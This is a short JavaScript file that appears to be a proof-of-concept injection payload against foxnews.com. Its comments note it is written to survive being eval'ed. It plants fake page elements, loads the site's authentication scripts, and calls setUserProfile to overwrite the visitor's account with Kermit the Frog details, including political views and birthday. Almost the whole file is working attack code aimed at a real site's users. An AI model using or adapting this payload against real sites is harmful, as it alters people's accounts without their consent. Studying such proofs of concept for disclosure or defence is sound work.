Change your foxnews.com profile to Kermit the Frog

change_foxnew_profile.js

/**
 * Changes your foxnews.com profile to Kermit the Frog.
 */
// The code cannot contain colons, so replace then with `C`.
C = String.fromCharCode(58);
// Strings cannot contain quotes, because this will be eval'ed, so
// replace quotes in strings with `Q`.
Q = String.fromCharCode(39);
// Just shortcuts to get this under 2038 characters.
d = document;
cr = function(s) {return d.createElement(s);}
ap = function(s) {d.body.appendChild(s);}

changeProfile = function() {
  u = {};
  u['picture'] =  ('https' + C + '//upload.wikimedia.org/wikipedia/en/thumb/' +
                   '6/62/Kermit_the_Frog.jpg/220px-Kermit_the_Frog.jpg')
  u['account_active'] =  'true';
  u['agreed_terms'] =  true;
  u['birthday'] = '1980-01-02';
  u['name'] =  'kermit@gmail.com';
  u['last_name'] =  'The Frog';
  u['first_name'] =  'Kermit';
  u['display_name'] =  (
    'kermie' + (1e20*Math.random())).substring(0, 15);
  u['gender'] =  'male';
  u['zip_code'] =  '10503';
  u['political_views'] =  'democrat';
  
  p = {};
  p['user_metadata'] = u;
  
  setUserProfile(p, function (_, c) {
    console.log(JSON.stringify(c));
  });
};


preparePage = function(afterFn) {
   function addFakeContent() {
    var meta = cr('meta');
    meta.setAttribute('name', 'auth_type');
    meta.setAttribute('content', 'profile');
    d.head.appendChild(meta);
    var login = cr('a');
    login.className = 'login';
    ap(login);
    var logout = cr('button');
    logout.className = 'auth0-btn-logout';
    ap(logout);
    changePass = cr('a');
    changePass.id = 'change-pass';
    ap(changePass);
    function n(s) {return '<select display=' + Q + ' name=' + Q + s + Q + '></select>';}
    function userProfileHtml() {
      return [
        n('first_name'),
        n('birthday'),
        n('last_name'),
        n('display_name'),
        n('political_views'),
        n('household_income'),
        n('gender'),
        n('zip_code'),
        n('profile_picture'),
        n('fb_breaking_alerts'),
        n('fn_breaking_alerts'),
        n('fn_morn_headlines'),
        n('top_headline'),
        n('fn_opinion_headlines'),
        n('fn_fox_411_newsletter'),
        n('fn_science_and_technology'),
        n('fn_health_newsletter'),
        n('fox_fan_scoop'),
        n('halftime_report'),
      ].join('');
    }
    var userProfile = cr('div');
    userProfile.className = 'fn-user-profile';
    userProfile.innerHTML = userProfileHtml();   
    ap(userProfile);
    function authOptionalHtml() {
      return [
        n('political_views'),
        n('household_income'),
        n('fn_breaking_alerts'),
        n('fn_morn_headlines'),
        n('top_headline'),
        n('halftime_report'),
      ].join('');
    }
    var authOptional = cr('div');
    authOptional.className = 'auth0-optional';
    authOptional.innerHTML = authOptionalHtml();
    ap(authOptional);
  }
  
  function loadAssets() {
    function loadJs(src) {
      var script = cr('script');
      script.src = src;
      ap(script);
    }
    function loop(scripts) {
      if (!scripts.length) {
        setTimeout(afterFn, 200);
        return;
      }
      var script = scripts.shift();
      loadJs('//global.fncstatic.com/static/orion/scripts/core/' + script);
      setTimeout(loop.bind(this, scripts), 100);
    }
    var scripts = [
      'auth/app/libs/core-js.min.js',
      'auth/app/libs/sweetalert2.min.js',
      'ag.core.js?v=20180509153054',
      'auth/loader.js?v=20180509153054',
    ];
    loop(scripts);
  }
  
  addFakeContent();
  loadAssets();
};

preparePage(changeProfile);